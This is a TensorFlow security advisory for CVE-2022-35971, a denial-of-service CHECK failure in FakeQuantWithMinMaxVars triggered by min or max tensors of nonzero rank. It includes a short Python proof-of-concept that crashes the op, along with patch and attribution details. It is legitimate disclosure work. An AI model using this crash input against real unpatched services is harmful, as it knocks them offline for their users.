1## TFSA-2022-103: `CHECK` fail in `FakeQuantWithMinMaxVars` 2 3### CVE Number 4CVE-2022-35971 5 6### Impact 7If `FakeQuantWithMinMaxVars` is given `min` or `max` tensors of a nonzero rank, it results in a `CHECK` fail that can be used to trigger a denial of service attack. 8```python 9import tensorflow as tf 10 11num_bits = 8 12narrow_range = False 13inputs = tf.constant(0, shape=[2,3], dtype=tf.float32) 14min = tf.constant(0, shape=[2,3], dtype=tf.float32) 15max = tf.constant(0, shape=[2,3], dtype=tf.float32) 16tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range) 17``` 18 19### Patches 20We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). 21 22The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. 23 24 25### For more information 26Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. 27 28 29### Attribution 30This vulnerability has been reported by: 31 - Neophytos Christou, Secure Systems Labs, Brown University. 32 - 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology 33